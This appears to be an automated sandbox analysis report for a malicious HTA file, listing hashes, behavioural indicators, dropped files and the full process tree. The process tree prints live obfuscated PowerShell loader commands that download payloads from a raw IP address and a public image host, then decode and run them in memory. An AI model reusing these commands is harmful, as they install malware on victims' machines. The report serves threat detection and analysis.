Analysis
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max time kernel
119s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
11-12-2024 10:22
Behavioral task
behavioral1
Sample
nicegirlforyou.hta
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
nicegirlforyou.hta
Resource
win10v2004-20241007-en
General
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Target
nicegirlforyou.hta
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Size
81KB
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MD5
fea592b533e97736debe379b886595a7
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SHA1
70eb330d0db30762edc64d262b7f1cfc24c8b540
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SHA256
fbda5655a80445279f376d372348b57ab9dbadae81e69df823a6949a412cbe96
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SHA512
da2ca1896e0d1d9f2e30e73ba1842e058fce5bfe43e4ebc8b8c3759d018abb73a330d975a6a857ea16c18bf48d73d02d2442eb8970823f42e480572773511637
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SSDEEP
768:t5bUZA+cT/RVeU2Dx6AyZ6LAuAHAmxLkFyYEOKuryyUSFG/w6acCEOKury/lI5Tq:t5
Malware Config
Extracted
https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20
https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20
Signatures
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Blocklisted process makes network request 3 IoCs
flow pid Process 3 2700 powershell.exe 6 2212 powershell.exe 8 2212 powershell.exe -
Evasion via Device Credential Deployment 2 IoCs
pid Process 2848 cmd.exe 2700 powershell.exe -
pid Process 2212 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 7 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language csc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cvtres.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2700 powershell.exe 2212 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2700 powershell.exe Token: SeDebugPrivilege 2212 powershell.exe -
Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 2400 wrote to memory of 2848 2400 mshta.exe 30 PID 2400 wrote to memory of 2848 2400 mshta.exe 30 PID 2400 wrote to memory of 2848 2400 mshta.exe 30 PID 2400 wrote to memory of 2848 2400 mshta.exe 30 PID 2848 wrote to memory of 2700 2848 cmd.exe 32 PID 2848 wrote to memory of 2700 2848 cmd.exe 32 PID 2848 wrote to memory of 2700 2848 cmd.exe 32 PID 2848 wrote to memory of 2700 2848 cmd.exe 32 PID 2700 wrote to memory of 2652 2700 powershell.exe 33 PID 2700 wrote to memory of 2652 2700 powershell.exe 33 PID 2700 wrote to memory of 2652 2700 powershell.exe 33 PID 2700 wrote to memory of 2652 2700 powershell.exe 33 PID 2652 wrote to memory of 2256 2652 csc.exe 34 PID 2652 wrote to memory of 2256 2652 csc.exe 34 PID 2652 wrote to memory of 2256 2652 csc.exe 34 PID 2652 wrote to memory of 2256 2652 csc.exe 34 PID 2700 wrote to memory of 2460 2700 powershell.exe 36 PID 2700 wrote to memory of 2460 2700 powershell.exe 36 PID 2700 wrote to memory of 2460 2700 powershell.exe 36 PID 2700 wrote to memory of 2460 2700 powershell.exe 36 PID 2460 wrote to memory of 2212 2460 WScript.exe 37 PID 2460 wrote to memory of 2212 2460 WScript.exe 37 PID 2460 wrote to memory of 2212 2460 WScript.exe 37 PID 2460 wrote to memory of 2212 2460 WScript.exe 37
Processes
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C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\nicegirlforyou.hta"1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2400 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" "/c poweRSHELl.EXe -Ex ByPAss -nOP -W 1 -c DeVIcEcrEDeNtIAldEPLoYMENt.ExE ; InVoke-ExPReSsIon($(InVoKE-ExpRESsIoN('[SYstEm.teXT.eNCOding]'+[cHAr]0x3A+[CHar]0x3a+'Utf8.GEtstRinG([SYstEM.convERT]'+[cHAR]0x3a+[cHAR]0x3A+'frOmbasE64STRing('+[CHAr]34+'JE5ZeFFkNGxBICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJFcmRlRkluaVRJT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1PbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS3lRQW1WSklRb0csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJqLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBRbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElyR2RwSHZTTWwsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZMTnpVbmZMRyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAienZqIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRXNwYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTll4UWQ0bEE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjE0Mi42MC81NTEvc2hlaXNteWdpcmx3aG9sb3ZlZG1lYWxvdHN0aWxsYWxzb3NoZWxvdmVzbWV0cnVseWZyb210aGVoZWFydC50SUYiLCIkRU52OkFQUERBVEFcc2hlaXNteWdpcmx3aG9sb3ZlZG1lYWxvdHN0aWxsYWxzb3NoZWxvdmVzbWV0cnVseS52YnMiLDAsMCk7U1RhUnQtc0xlZXAoMyk7aW5WT0tFLWV4cFJlU3NJb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTnY6QVBQREFUQVxzaGVpc215Z2lybHdob2xvdmVkbWVhbG90c3RpbGxhbHNvc2hlbG92ZXNtZXRydWx5LnZicyI='+[CHar]0X22+'))')))"2⤵
- Evasion via Device Credential Deployment
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2848 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepoweRSHELl.EXe -Ex ByPAss -nOP -W 1 -c DeVIcEcrEDeNtIAldEPLoYMENt.ExE ; InVoke-ExPReSsIon($(InVoKE-ExpRESsIoN('[SYstEm.teXT.eNCOding]'+[cHAr]0x3A+[CHar]0x3a+'Utf8.GEtstRinG([SYstEM.convERT]'+[cHAR]0x3a+[cHAR]0x3A+'frOmbasE64STRing('+[CHAr]34+'JE5ZeFFkNGxBICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJFcmRlRkluaVRJT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1PbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS3lRQW1WSklRb0csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJqLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBRbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElyR2RwSHZTTWwsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZMTnpVbmZMRyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAienZqIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRXNwYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTll4UWQ0bEE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjE0Mi42MC81NTEvc2hlaXNteWdpcmx3aG9sb3ZlZG1lYWxvdHN0aWxsYWxzb3NoZWxvdmVzbWV0cnVseWZyb210aGVoZWFydC50SUYiLCIkRU52OkFQUERBVEFcc2hlaXNteWdpcmx3aG9sb3ZlZG1lYWxvdHN0aWxsYWxzb3NoZWxvdmVzbWV0cnVseS52YnMiLDAsMCk7U1RhUnQtc0xlZXAoMyk7aW5WT0tFLWV4cFJlU3NJb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTnY6QVBQREFUQVxzaGVpc215Z2lybHdob2xvdmVkbWVhbG90c3RpbGxhbHNvc2hlbG92ZXNtZXRydWx5LnZicyI='+[CHar]0X22+'))')))"3⤵
- Blocklisted process makes network request
- Evasion via Device Credential Deployment
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2700 -
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jlgcbeze.cmdline"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2652 -
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exeC:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7C23.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC7C22.tmp"5⤵
- System Location Discovery: System Language Discovery
PID:2256
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\sheismygirlwholovedmealotstillalsoshelovesmetruly.vbs"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2460 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $portioned = 'JHByZW9idGFpbnMgPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHl0Zmx0NjFuL2ltYWdlL3VwbG9hZC92MTczMzEzNDk0Ny9ia2xweXNleWV1dDRpbXB3NTBuMS5qcGcgJzskbGFsbHlnYWdnaW5nID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDskdGF1bnRpbmdseSA9ICRsYWxseWdhZ2dpbmcuRG93bmxvYWREYXRhKCRwcmVvYnRhaW5zKTskbm9udmlyZ2lucyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCR0YXVudGluZ2x5KTskbmV3c21lbiA9ICc8PEJBU0U2NF9TVEFSVD4+Jzskc3Bpcml0dWFsaXN0aWMgPSAnPDxCQVNFNjRfRU5EPj4nOyRhc2Fmb2V0aWRhcyA9ICRub252aXJnaW5zLkluZGV4T2YoJG5ld3NtZW4pOyRzbm9vemUgPSAkbm9udmlyZ2lucy5JbmRleE9mKCRzcGlyaXR1YWxpc3RpYyk7JGFzYWZvZXRpZGFzIC1nZSAwIC1hbmQgJHNub296ZSAtZ3QgJGFzYWZvZXRpZGFzOyRhc2Fmb2V0aWRhcyArPSAkbmV3c21lbi5MZW5ndGg7JG95ZXMgPSAkc25vb3plIC0gJGFzYWZvZXRpZGFzOyRzdGlsbGluZyA9ICRub252aXJnaW5zLlN1YnN0cmluZygkYXNhZm9ldGlkYXMsICRveWVzKTskaG9sbG93bmVzc2VzID0gLWpvaW4gKCRzdGlsbGluZy5Ub0NoYXJBcnJheSgpIHwgRm9yRWFjaC1PYmplY3QgeyAkXyB9KVstMS4uLSgkc3RpbGxpbmcuTGVuZ3RoKV07JGNvbGVzbGF3cyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGhvbGxvd25lc3Nlcyk7JG1hbmFnZW1lbnRzID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkY29sZXNsYXdzKTskamV3ZmlzaCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRqZXdmaXNoLkludm9rZSgkbnVsbCwgQCgnMC9uQ3gzMC9yL2VlLmV0c2FwLy86c3B0dGgnLCAnJGZvcmViZWFyJywgJyRmb3JlYmVhcicsICckZm9yZWJlYXInLCAnQ2FzUG9sJywgJyRmb3JlYmVhcicsICckZm9yZWJlYXInLCckZm9yZWJlYXInLCckZm9yZWJlYXInLCckZm9yZWJlYXInLCckZm9yZWJlYXInLCckZm9yZWJlYXInLCcxJywnJGZvcmViZWFyJykpOw==';$reprovals = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($portioned));Invoke-Expression $reprovals5⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2212
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
70KB
MD549aebf8cbd62d92ac215b2923fb1b9f5
SHA11723be06719828dda65ad804298d0431f6aff976
SHA256b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b
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Filesize
1KB
MD5a66b5084215685c3b7b5062e94e669ac
SHA1be4164585a0df148bc01de524876657d62894376
SHA256356ede27683e72668b1dd6dfafe642daf884675a021cf832af7e9902a34ddcf9
SHA5126fef8c7c97dd9556d6eea825c3c5a4e23b950003470b9eed477d8079fed3a3cf0e021236cc707c4fd4ea0bde218629925be2e477c68a51ae0b2588f9141a2b45
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Filesize
181KB
MD54ea6026cf93ec6338144661bf1202cd1
SHA1a1dec9044f750ad887935a01430bf49322fbdcb7
SHA2568efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
SHA5126c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b
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Filesize
3KB
MD5714c05ff75113a7e5a06fe4674336114
SHA175b42e541809defb73460891b5eb9ff2dd355ed6
SHA25625eb1926fc34e510217fe042a36af26031cbc2b4daef83a51302b69874aba8d2
SHA51219e56aece37c0674583889ad37eac006d9f9be3c146d7f64953a1379616ce5d54765a5b70e5d9412630dd14fb18625ceaab755176896802fce98727dedda415c
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Filesize
7KB
MD563616e12cc40f109e236233af650c9da
SHA17c0fe1445ea8d0cd8d22f80d7d35f3d557d0d128
SHA256d1b8ecc743d3aa26acaebe132e0e4365a82dff094b521881c02e21b79426321a
SHA512cbbb82d3b723ac65f2760fcb0b9b6581e557635278d2b0f4d65531496a14fe5f650bd7e6bd23da7df25d10acbabd7e0b6074f5645840e22cd32b38d37087213d
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize7KB
MD58c4667cab12acd00f37a979b01f1b64f
SHA11edd0316d91e54e06e451f24b709780f20e493c1
SHA2564b0fcbaf6d90e7027fb702b1dbab7497dbbca73f455cfc3c9e39fa54f1267ce8
SHA51253c177ac0c9b481d68f09db0ed593047529881d9a75210a3e83ef516e462b80dc9befde4bee9858b6c8aabdcb7c1d161a2f24866b7d210128723b77e96688ec5
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Filesize
150KB
MD55ce00a79a9f41d260446bfdcc6267adf
SHA10b2b90beb56c59916b98004b1444698538729822
SHA256efab5d21ed82f610bc5f1734b909a7e5c3a6c2ecebb276dd03b4d5baf8e9b058
SHA512d4de7fe61f23ce7524ed3123319ac93f33ae1806bd426045ca9df1fa9ee82cca58aa314711bbde6a6ffa2eee98dc20cc5e4d80d2ec7abb028be0639944714fee
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Filesize
652B
MD56965ec044c7ad0d26ba7d46637a72a9e
SHA1e5d471709b3d59c0834ff2ce958819eb1b4496dd
SHA25640259853ba03fd5f459c23b65ffa8446525588e393ad76422fe5fc8c59ace0fb
SHA5121d59eb334ece41624dcad5a1aa6a323782c14936685c5e7dca326212d8067de0568786ccd3f86226dc6c6af92d6fac6e972b2caac1927e58c90c6dd4f92d56c0
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Filesize
477B
MD52e19302ee1faca85ea0132e02da90f67
SHA14930a2af181ce2fb012629f3ef214cb1b591f6ff
SHA256e7eb33287b9b8be9ee6f0e247842a9a65567e1b6a63030951a79a05b6a38f46b
SHA512cb97722eb63ab457df075a33fd61ba6c4cc516bde8dafb2e44bc762230242d0033a965cadba64d0c06a8447512e4e56043c78cda352bd597f395e0ab6b6e16e3
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Filesize
309B
MD53472d69b57bba9d13bb98fea4b8d728c
SHA1b5f80f6d39541028ff1773e3897ff3d1950adc41
SHA256bc3823cdeddf09e902d5298058cc5255d6f4f1681f98dfe726b6b01e8a6bd1fc
SHA512e81697b1d23cfcd96b07e21343f114ca0275e7fe2e52aa96140554d48e92d44ce301dbc0ac2321239319bff89cead403b0eec591259a5f1cf799ea3c38172245